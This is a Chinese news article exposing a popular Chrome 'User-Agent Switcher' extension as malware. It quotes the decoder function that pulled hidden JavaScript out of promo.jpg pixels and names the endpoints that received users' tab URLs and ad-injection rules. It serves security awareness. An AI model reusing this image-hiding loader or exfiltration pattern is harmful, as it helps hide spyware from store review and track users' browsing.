火速卸载!Chrome 搜索 User-Agent Switcher 排行第一的插件竟是木马
近日,有开发者在 Google Chrome 商店中搜索 User-Agent Switcher(https://chrome.google.com/webstore/detail/user-agent-switcher-for-g/ffhkkpnppgnfaobgihpdblnhmmbodake) 这款扩展程序时,竟然发现排行第一(459604位用户)的“User-Agent Switcher”是一个恶意程序,它是由“useragentswitcher.org”提供,而并非“google.com”。
这款 User-Agent Switcher for Google Chrome 页面上的“Report Abuse”(举报滥用情况)其实是一个无用的链接,它表面上显示为良性的 .jpg 文件。事实上,为了绕过 Chrome 的审核策略,作者将恶意代码隐藏在了 promo.jpg 中,当加载到 canvas 元素并以某种方式解码时,就会产生 JS,这些 JS 会将所有用户的 请求发送到某个域,同时还会注入广告并重定向到其从属链接。
开发者@anoymoux 从这个图片里解密出恶意代码并执行:
t.prototype.Vh = function(t, e) {
if ("" === '../promo.jpg') return "";
void 0 === t && (t = '../promo.jpg'), t.length && (t = r.Wk(t)), e = e || {};
var n = this.ET,
i = e.mp || n.mp,
o = e.Tv || n.Tv,
h = e.At || n.At,
a = r.Yb(Math.pow(2, i)),
f = (e.WC || n.WC, e.TY || n.TY),
u = document.createElement("canvas"),
p = u.getContext("2d");
if (u.style.display = "none", u.width = e.width || t.width, u.height = e.width || t.height, 0 === u.width || 0 === u.height) return "";
e.height && e.width ? p.drawImage(t, 0, 0, e.width, e.height) : p.drawImage(t, 0, 0);
var c = p.getImageData(0, 0, u.width, u.height),
d = c.data,
g = [];
if (c.data.every(function(t) {
return 0 === t
})) return "";
var m, s;
if (1 === o)
for (m = 3, s = !1; !s && m < d.length && !s; m += 4) s = f(d, m, o), s || g.push(d[m] - (255 - a + 1));
var v = "",
w = 0,
y = 0,
l = Math.pow(2, h) - 1;
for (m = 0; m < g.length; m += 1) w += g[m] << y, y += i, y >= h && (v += String.fromCharCode(w & l), y %= h, w = g[m] >> i - y);
return v.length < 13 ? "" : (0 !== w && (v += String.fromCharCode(w & l)), v)
}
从而发现,运行完程序就会把用户打开的每个标签的 url 等信息加密发送到 https://uaswitcher.org/logic/page/data。
另外还会从 http://api.data-monitor.info/api/bhrule?sub=116 获取推广链接的规则,打开符合规则的网站时,会在页面插入广告甚至恶意代码。
对此,不少网友各执己见:
- gorhill:“User-Agent Switcher for Google Chrome”这个扩展程序清单中有一个“content_security_policy”值,在它的值中包含一个“unsafe-eval”的 CSP 指令,而其本质是扩展上下文中执行任意代码的能力,不能通过读取原文件进行代码审查,因此在清单中声明这种 CSP 指令的任何扩展会被推定为恶意程序,所以想要具体确认还需进一步的调查。
- horsawlarway:现在很多库和模板依赖于 eval 代码。在从已知和受信任的位置拉取更新和模块的情况下,还有一些(关键字:FEW)是使用 eval 的有效原因。在这些情况下,如果用户在扩展程序中没有使用预先共享的证书来签名服务器端并验证签名,那么还会遇到问题。长话短说,eval 仍然是非常有用的功能,但它需要正确并少量使用。
- krisgenre :天呐,我一直在用这款扩展!立即删除并在 Chrome 商店查找是否有替代的,后来发现还是应该安装 Google 本身提供的扩展。
- milankragujevic:很苦恼,我已经安装了这款扩展程序两年了,他们会得到什么信息,会对我做些什么?目前我已经卸载了。
- krackers :当我发现时,我也有同样的担心。我没有足够的技能来进行完全解码,但是至少我知道它会发送浏览历史和注入广告。现在在安全方面,我已经修改了各种密码。
倘若安装了这款插件也就相当于一直处于黑客的监控之下,细思极恐。
下一篇: ORB-SLAM2的地图保存